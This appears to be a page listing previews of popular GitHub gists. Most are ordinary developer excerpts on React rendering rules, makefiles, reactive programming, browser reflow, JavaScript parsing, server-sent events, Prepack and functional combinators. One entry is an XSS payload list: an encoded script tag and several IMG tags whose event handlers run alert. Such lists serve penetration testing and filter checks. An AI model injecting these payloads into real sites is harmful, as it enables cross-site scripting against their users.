sebmarkbage

The Rules of React

All libraries have subtle rules that you have to follow for them to work well. Often these are implied and undocumented rules that you have to learn as you go. This is an attempt to document the rules of React renders. Ideally a type system could enforce it.

What Functions Are "Pure"?

A number of methods in React are assumed to be "pure".

On classes that's the constructor, getDerivedStateFromProps, shouldComponentUpdate and render.

isaacs

# Hello, and welcome to makefile basics.
#
# You will learn why `make` is so great, and why, despite its "weird" syntax,
# it is actually a highly expressive, efficient, and powerful way to build
# programs.
#
# Once you're done here, go to
# http://www.gnu.org/software/make/manual/make.html
# to learn SOOOO much more.

staltz

The introduction to Reactive Programming you've been missing

(by @andrestaltz)

---

This tutorial as a series of videos

If you prefer to watch video tutorials with live-coding, then check out this series I recorded with the same contents as in this article: Egghead.io - Introduction to Reactive Programming.

---

paulirish

What forces layout / reflow

All of the below properties or methods, when requested/called in JavaScript, will trigger the browser to synchronously calculate the style and layout*. This is also called reflow or layout thrashing, and is common performance bottleneck.

Generally, all APIs that synchronously provide layout metrics will trigger forced reflow / layout. Read on for additional cases and details.

Element APIs

Getting box metrics

• elem.offsetLeft, elem.offsetTop, elem.offsetWidth, elem.offsetHeight, elem.offsetParent

addyosmani

Problem: How can we preprocess JavaScript (at build-time or on the server-side) so engines like V8 don't have to spend as much time in Parse? This is a topic that involves generating either bytecode or a bytecode-like-abstraction that an engine would need to accept. For folks that don't know, modern web apps typically spend a lot longer in Parsing & Compiling JS than you may think.

• Yoav: This can particularly be an issue on mobile. Same files getting parsed all the time for users. Theoretically if we moved the parsing work to the server-side, we would have to worry about it less.
• One angle to this problem is we all ship too much JavaScript. That's one perspective. We could also look at preprocessing.
• We've been talking about this topic over the last few weeks a bit with V8. There were three main options proposed.
• 1. Similar to what optimize-js does. Identify IIFEs and mark them as such so the browser and VMs heuristics will catch them and do a better job than today. optimize-js only tackles IIFE bu

rauschma

Using server-sent events

Why and how?

• Documentation: https://web.dev/articles/eventsource-basics
• Use case: broadcasting data from server to browsers
• Benefits:
  • Easy to understand and implement (only a few lines of code)
  • No library is needed
• Can use same HTTP(S) authentication as elsewhere in the app (which can’t be done with websockets)

gaearon

Note:

When this guide is more complete, the plan is to move it into Prepack documentation.
For now I put it out as a gist to gather initial feedback.

A Gentle Introduction to Prepack (Part 1)

If you're building JavaScript apps, you might already be familiar with some tools that compile JavaScript code to equivalent JavaScript code:

• Babel lets you use newer JavaScript language features, and outputs equivalent code that targets older JavaScript engines.

kurobeats

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">

sebmarkbage

let cache = new Map();
let pending = new Map();

function fetchTextSync(url) {
  if (cache.has(url)) {
    return cache.get(url);
  }
  if (pending.has(url)) {
    throw pending.get(url);
  }

Avaq

const I  = x => x
const K  = x => y => x
const A  = f => x => f (x)
const T  = x => f => f (x)
const W  = f => x => f (x) (x)
const C  = f => y => x => f (x) (y)
const B  = f => g => x => f (g (x))
const S  = f => g => x => f (x) (g (x))
const S_ = f => g => x => f (g (x)) (x)
const S2 = f => g => h => x => f (g (x)) (h (x))